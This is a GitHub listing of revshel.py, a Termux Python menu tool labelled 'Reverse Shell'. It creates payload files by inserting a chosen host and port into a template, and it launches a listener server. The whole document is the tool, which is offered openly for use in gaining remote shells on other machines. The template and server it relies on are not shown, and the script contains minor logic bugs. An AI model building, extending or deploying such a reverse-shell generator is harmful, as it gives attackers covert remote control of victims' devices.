-
Notifications
You must be signed in to change notification settings - Fork 0
/
revshel.py
96 lines (86 loc) · 3 KB
/
revshel.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
import os
import time
r = '\033[91m'
g = '\033[32m'
y = '\033[33m'
b = '\033[34m'
baner = f"""
{y}╭━━━╮╱╱╱╱╱╱╱╱╭╮╱╱╱╱╭╮
{y}┃╭━╮┃╱╱╱╱╱╱╱╱┃┃╱╱╱╱┃┃
{y}┃╰━╯┣━━┳╮╭┳━━┫╰━┳━━┫┃ {y}coded by : {r}Rezzaapr
{y}┃╭╮╭┫┃━┫╰╯┃━━┫╭╮┃┃━┫┃ {y}github : {r}github.com/rezzaapr
{y}┃┃┃╰┫┃━╋╮╭╋━━┃┃┃┃┃━┫╰╮
{y}╰╯╰━┻━━╯╰╯╰━━┻╯╰┻━━┻━╯
{y}</>{r}Reverse Shell{y}</>
{r}Termux
{y}[1] {r}Create Payload
{y}[2] {r}Start Server
{y}[3] {r}Exit
"""
os.system('clear')
print(baner)
payloa = f"""
{y}╭━━━╮╱╱╱╱╱╱╭╮╱╱╱╱╱╱╱╱╭╮╱╱╭━━━╮╱╱╱╱╱╱╱╭╮╱╱╱╭╮
┃╭━╮┃╱╱╱╱╱╱┃┃╱╱╱╱╱╱╱╱┃┃╱╱┃╭━╮┃╱╱╱╱╱╱╭╯╰╮╱╭╯╰╮
┃╰━╯┣━━┳╮╱╭┫┃╭━━┳━━┳━╯┃╱╱┃┃╱╰╋━┳━━┳━┻╮╭╋━┻╮╭╋━━┳━╮
┃╭━━┫╭╮┃┃╱┃┃┃┃╭╮┃╭╮┃╭╮┣━━┫┃╱╭┫╭┫┃━┫╭╮┃┃┃┃━┫┃┃╭╮┃╭╯
┃┃╱╱┃╭╮┃╰━╯┃╰┫╰╯┃╭╮┃╰╯┣━━┫╰━╯┃┃┃┃━┫╭╮┃╰┫┃━┫╰┫╰╯┃┃
╰╯╱╱╰╯╰┻━╮╭┻━┻━━┻╯╰┻━━╯╱╱╰━━━┻╯╰━━┻╯╰┻━┻━━┻━┻━━┻╯
╱╱╱╱╱╱╱╭━╯┃
╱╱╱╱╱╱╱╰━━╯
"""
while True:
def create():
os.system('clear')
print(payloa)
print('==========')
host = input('SET HOST > ')
print('==========')
port = int(input('SET PORT > '))
print('==========')
name = input('Payload Name > ')
print('==========')
try:
r = open('src/template.py', 'r')
f = open("payload/"+name+'.py', "a")
f.write(r.read()%(host, port))
f.close()
print('Payload Berhasill Dibuat Di payload/'+name+'.py')
input('\n\nTekan Enter Untuk Kembali')
os.system('clear')
print(baner)
except FileNotFoundError:
os.system('mkdir payload')
f = open("payload/"+name+'.py', "a")
r = open('src/template.py', 'r')
f.write(r.read()%(host, port))
f.close()
print('Payload Berhasill Dibuat Di payload/'+name+'.py')
input('\n\nTekan Enter Untuk Kembali')
os.system('clear')
print(baner)
def start():
os.system('clear')
print("Listening...")
time.sleep(1)
os.system('python3 src/server.py')
if __name__ == '__main__':
try:
inp = input("Choice > ")
except KeyboardInterrupt:
break
if inp == '1':
create()
elif inp == '2':
try:
start()
except KeyboardInterrupt:
print('Stopping Server....')
time.sleep(1)
os.system('clear')
print(baner)
elif inp == '3':
break
print('Bye Bye')
elif inp != '1' or inp != '2' or inp != '3':
print('Command Not Found')